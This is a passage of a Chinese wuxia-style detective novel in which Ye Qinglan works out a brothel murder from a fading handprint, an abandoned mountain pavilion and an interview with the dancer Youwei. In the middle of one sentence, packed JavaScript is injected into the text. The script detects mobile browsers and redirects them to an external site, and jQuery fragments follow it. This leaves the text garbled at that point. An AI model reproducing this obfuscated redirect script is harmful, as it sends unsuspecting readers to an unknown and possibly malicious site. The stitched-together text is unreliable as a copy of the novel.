大厅里的灯亮着,窈娘的窗口已经黑了。他双腿一蹬,抱住柱子,一寸一寸往上爬。
有了上次的经验,这回顺利许多,一口气攀上屋顶。叶青岚猫着腰走到照夜妃的房间顶上,晃亮火折子,靠近与幼薇房间相连的柱子。
火光照亮一小块红漆,他呼吸一滞,手印没了!
仔细一看,还在,只剩一圈浅浅的印子。
想想也是,此处露天,经过几日的风吹日晒,手印变淡也是情理之中,再过一日可能就彻底看不见了。
他不甘心地伸出自己的手掌,想再比对一次。掌心与柱子重合的瞬间,脑海中蓦地闪过一个念头。
原来如此!
他、陆冰、提刑司,他们所有人都被骗了!
叶青岚差点大笑出声。他最初的直觉没有错,只不过其中一个小关窍出了问题。
此案已想通一半,剩下的,就是抓住飘在湖面上的那只怨鬼。
他撑着头,依着歇山顶躺了下来。
夜风阴寒。
滴翠湖的湖底应该比这高处还要冷。
那里沉了多少姑娘的尸体?
说书先生有一句话说得对。青楼里死个姑娘,根本就是稀松平常之事。
这些女子天生薄命,即便练成了绝美的歌喉、高妙的舞技,也不过是世人轻贱的玩物。甩出几张银票,就可以随便让她们“吃些苦头”。
人人都诟病照夜妃脾气极坏。可设身处地地想想,身在这么一个吃人不吐骨头的欢场,谁的脾气又能好得了呢?
只不过有些人发泄出来,有些人憋在心里。
一个花魁死了,马上有另一个顶上。世间从来不缺苦命的姑娘。
叶青岚翻了个身坐起来。腿有些麻了。
他大可以一走了之。
此案从头到尾,他被陆冰当作嫌疑人抓了三次。若非上天厚爱,让他侥幸逃脱,只怕早已作为凶手处斩了。
提刑司锲而不舍地抓人拷打,早晚会抓住一个倒霉蛋,安上杀人的罪名。
抓对了还好,抓错了,又是一条冤魂。
可世上每天都在死人。五十年来他见过太多了。男女老少,贫穷富裕,高贵卑鄙,除他以外,人人都要走向那相同的归宿,早一点走和晚一点走,又有多大分别。
只因为照夜妃长得美,又出手大方,打赏了他一串珍珠,一枚玉佩,他就情愿东奔西跑,绞尽脑汁,半夜吹着冷风候在屋顶上,寻那害她的“鬼”?
即便抓住凶手,也没人会领情。没有人会记住他。
叶青岚幽幽地叹了口气。
不过是,一念不忍。
月到中天,湖面仍是一片静谧。明月勾勒出群山的轮廓,仔细看,还能辨认出山峰在湖面的倒影、岸边的草丛和山坡上的乔木。不知从什么地方传来夜枭的鸣叫。
叶青岚猛地直起身子,向黑暗中瞧去。
第七日
晨光微熹,叶青岚在山道上疾行。
山路蜿蜒,两侧都是常绿乔木,伸出的枝叶上还沾着晶莹的露水。
这正是他上次带着陈思贤走过的路。转过一个弯,便是他吓唬过陈思贤的那个豁口。
他未作停留,继续向上爬。
又走了约莫一盏茶的工夫,峰回路转,两颗乔木中间露出一条石板小路来,路尽头有个八角凉亭,亭上悬着一块匾额:半山亭。
此亭建于一块突出的山崖之上,视野开阔,三面透风,是夏日乘凉的好去处。如今寒冬腊月,冷风刺骨,没有人会到这儿来。
可亭子并不空旷,相反,挤得满满当当。
叶青岚粗略数了数,两只精钢锅炉、一套黑釉茶壶、三只大小各异的空酒壶、一只黄铜手炉、银盘子里吃了一半的糕点配几碟子腊肉、木筷子、竹筷子、堆在一起的十几根蜡烛、两件胡乱扔在地上的狐狸毛大氅、一柄剑。这些东西下面是一张厚实的羊毛地毯,裁成八角形状,刚好铺满亭子的地面。
看来有人把这里当成宴客的雅间了。
他捡起狐狸毛大氅摸了摸,比自己那件厚实多了。他果断脱下自己的,换上这一件,一股暖意从背后升起,好像泡在温泉水中,浑身舒坦。下摆有些拖地,他小心地绕过满地狼藉,走到亭子外,又发现一柄剑。
这柄剑和亭子里那柄看起来一模一样,只不过它斜插进地下,剑柄荡在半空,一碰就左右摇摆。
叶青岚顺着剑尖的反向看去,只见八角亭外侧的两根柱子都被削去了表皮,露出里面的木料,木头上斑斑驳驳,尽是划痕。
看起来是两名用剑的高手在此约会,先喝茶,后吃肉,再喝酒,喝完酒一言不合打了起来,剑气划烂了柱子,一个人打落了剑,逼迫另一人翻下山崖,自己也弃剑而去。
叶青岚沿着亭子外围走了一圈,发现树枝上也有不少遭砍的痕迹。捡起酒壶晃了晃,一股诱人的酒香飘了出来。拿起瓷杯一看,釉色细腻纯净,是上品无疑。
满地的好东西,他什么都没拿,脱下大氅叠好,放在亭子边缘。
心念一转,又捡起另一件大氅,抖开闻了闻。
一股极淡的幽香,是几天前闻到过的。
叶青岚扔下大氅,对着湖面长啸一声,连日来的迷雾一扫而空。
那日他和陈思贤、陆冰离这里不过几丈远,只需再走一段就能发现这亭子。
可惜断案之道,差之毫厘,谬以千里。
叶青岚迎着初升的太阳走回醉春风,推门喊道,“来人,给爷上杯浓茶!”
没有回音。大厅里连个鬼影子都没有。所有下人都被提刑司抓去审问了。
没人正好,方便行事。他光明正大地上了三楼,往楼梯后面一瞧。
确实有一间小室。
他推门进去,只见门上开了一个小窗,正对着照夜妃的房门,所有人进出都能看见。
蔡妈妈怕照夜妃半夜逃跑,雇了阿猫阿狗在此盯守,不料这两人挨不住拷打,把雇主给卖了。
这才叫搬起石头砸自己的脚。
外面传来一串沉重的脚步声。
探头一看,幼薇红着眼睛跑上来,一阵风似的冲进自己房间,摔上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255584|197985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了门。
这个时间,她怎么没在练舞?
叶青岚毫不见外地推门走了进去。
“幼薇姑娘,因何事伤心啊?”
幼薇吓了一跳,“你是谁?”
“在下叶青岚,浮世一闲人。”他真该在胸口挂块木牌,写上自己的名字。“我仰慕姑娘许久,可惜你从来都不记得我。”
幼薇愣了愣,“时辰尚早,我们还未开门呢。”
短短几天,她瘦了一大圈,下巴尖了,连眼皮都凹了下去,浓妆都掩不住憔悴之色。
叶青岚盯着她的眼睛,“我知道,你受了很多委屈。”
幼薇本就心情激荡,听他这么一说,哇地一声哭了出来,“这日子没法过了……先是诬赖我杀人,逼我跳窗户,又说那手印是男人留下的,把我的客人都抓走了。我练舞练出一脚水泡,姑姑还天天打骂,刚才直接把我赶回来,说……说不必练了,像狗熊上树!叶公子,你说这世上还有没有天理……”
“别听她胡说,哪有那么漂亮的狗熊。”
幼薇拿出一条手绢,□□鼻涕,“我什么都不在乎了,明天随便跳一场,遭人嫌弃也没法子。”
“窈娘不该拿你和照夜妃比。何况,你也不比她差。”
幼薇抬起头,一双杏眼湿漉漉的,“男人们都喜欢她……”
“未必。你可认得一个叫韩崇德的?”
幼薇换过一块干净帕子,抹了抹泪,却把脂粉糊了一脸。
“韩崇德……好像是有这么个人,从前和绛珠有过节,前不久来醉春风闹过一场。”
“怎么闹的?”
“他说绛珠骗光了他的钱。这倒不稀奇,绛珠行事一贯如此,妈妈也乐得纵容。稀奇的是这姓韩的走了狗屎运,没几年就把钱赚回来了,生意还做得比以前更大。他拿了一沓银票,摔在绛珠脸上,说她为了这点钱抛弃他,实在是狗眼看人低。”
“后来呢?”
“后来两人就进房了,折腾了一宿。第二天天不亮姓韩的就走了,再也没回来过。”
“他走后,绛珠是喜是忧?”
“我怎知道。她三天没能下床,饭都是小丫头端进去喂她吃的。”
叶青岚怔在当场。
幼薇瞥了他一眼,“看来叶公子是个体面人。干我们这一行,这样的事多着呢。”
她说这话的语气,好像在谈论天气。
叶青岚拉过她的手,“可曾有人如此对你?”
幼薇哭花了的脸上立刻现出媚态,半边身子贴了过来,“没有,叶公子想做第一个么?”
叶青岚皱着眉,夺过帕子,捉住她的猫脸仔仔细细擦了一遍。
三个时辰后,叶青岚提着个食盒,意气风发地走向提刑司。他头上戴的是家丁的帽子,身上穿的是家丁的衣服,手里握着那块偷来的提刑司令牌。盒子里装着他从醉春风后厨顺来的一只卤鸡爪,香气诱人。他在鸡爪下面垫了一张薄纸,盖紧盖子,以防自己忍不住诱惑,半路上把它吃了。
“我奉陆夫人之命,来给少爷送吃的。”